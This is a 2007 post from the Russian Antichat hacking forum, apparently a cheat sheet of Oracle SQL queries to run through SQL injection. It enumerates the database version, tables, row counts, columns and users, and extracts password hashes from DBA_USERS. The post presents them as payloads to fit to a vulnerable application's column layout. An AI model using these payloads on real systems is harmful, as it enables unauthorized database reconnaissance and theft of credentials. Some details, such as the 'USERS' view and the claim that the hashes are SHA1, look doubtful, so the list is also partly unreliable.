ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

SQL Injection в Oracle. Интересные запросы.
  #1  
Старый 31.08.2007, 15:17
Аватар для groundhog
groundhog
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
Провел на форуме:
2238549

Репутация: 1318


Отправить сообщение для groundhog с помощью ICQ
По умолчанию SQL Injection в Oracle. Интересные запросы.

SQL Injections веб-приложений, основанных на сервере баз данных Oracle неплохо освещены в соответствующих FAQ. Они имеют свои тонкости, отличные от инъекций в других базах данных. Но просматривая FAQ я не увидел подробной информации о том, что же можно поиметь с инъекций... Чтож, давайте развеем пелену таинственности над Oracle. Итак запросы:

-- Получение данных о версии Oracle (будет несколько строк, обычно 5)
SELECT * FROM V$VERSION;

-- Получение данных о версии Oracle по строкам с перебором по ROWNUM
SELECT T.B FROM (SELECT ROWNUM R, BANNER B FROM V$VERSION) T WHERE R=X

-- Получение имён всех таблиц в БД
SELECT TABLE_NAME FROM SYS.ALL_TABLES;

-- Перебор имён таблиц по заданному NUMROW (возвращается одна строчка)
SELECT T.TN FROM (SELECT ROWNUM R, TABLE_NAME TN FROM SYS.ALL_TABLES) T WHERE R=X

-- Перебор имён таблиц по заданному NUMROW из диапазона (возвращается несколько строк)
SELECT T.TN FROM (SELECT ROWNUM R, TABLE_NAME TN FROM SYS.ALL_TABLES) T WHERE R BETWEEN X AND X

-- Перебор имён таблиц по заданному NUMROW c увеличением позиции (возвращается несколько строк)
SELECT T.TN FROM (SELECT ROWNUM R, TABLE_NAME TN FROM SYS.ALL_TABLES) T WHERE R>=X

-- Получение количества записей в заданной таблице через NUMROW
SELECT T.NR FROM (SELECT ROWNUM R, NUM_ROWS NR FROM SYS.ALL_TABLES) T WHERE R=X

-- Получение количества записей в заднной таблице через имя таблицы
SELECT T.NR FROM (SELECT ROWNUM R, NUM_ROWS NR, TABLE_NAME TN FROM SYS.ALL_TABLES) T WHERE TN='...';

-- Перебор имён таблиц по заданному NUMROW в таблицах текущего пользователя (возвращается одна строчка)
SELECT T.TN FROM (SELECT ROWNUM R, TABLE_NAME TN FROM SYS.USER_TABLES) T WHERE R=X

-- Получение имён всех колонок в заданной таблице
SELECT COLUMN_NAME FROM USER_TAB_COLUMNS WHERE TABLE_NAME='...';

-- Перебор имён колонок в заданной таблице по ROWNUM
SELECT T.CN FROM (SELECT ROWNUM R, COLUMN_NAME CN FROM USER_TAB_COLUMNS WHERE TABLE_NAME='...') T WHERE R=X

-- Получение информации о типе заданной колонки в заданной таблице
SELECT DATA_TYPE FROM USER_TAB_COLUMNS WHERE TABLE_NAME='...' AND COLUMN_NAME='...';

-- Получение имён пользователей в базе данных
SELECT USERNAME FROM USERS;

-- Альтернативный метод получения объектов (таблицы, последвательности и синонимы) для заданного пользователя
SELECT TABLE_NAME FROM ALL_CATALOG WHERE OWNER='...';

-- Получение имён всех объектов заданного пользователя (индексы, таблицы, ограничения и т.д.)
SELECT OBJECT_NAME FROM ALL_OBJECTS WHERE OWNER='...'

-- Получение хеша пароля (SHA1) заданного пользователя, но для этого нужны привелегии DBA
-- При нормальной настройке 99.99% что их не будет
SELECT PASSWORD FROM DBA_USERS WHERE USERNAME='...'

Разумеется, это сырые запросы и вам всё равно перед их использованием придётся подбирать количество столбцов, определять куда какое поле выводится, и какой тип значения можно засунуть в выводимое поле. Но об этом читаем FAQ.
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
SQL Injection: Modes of Attack, Defence, and Why It Matters bxN5 Forum for discussion of ANTICHAT 1 09.04.2007 19:07
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ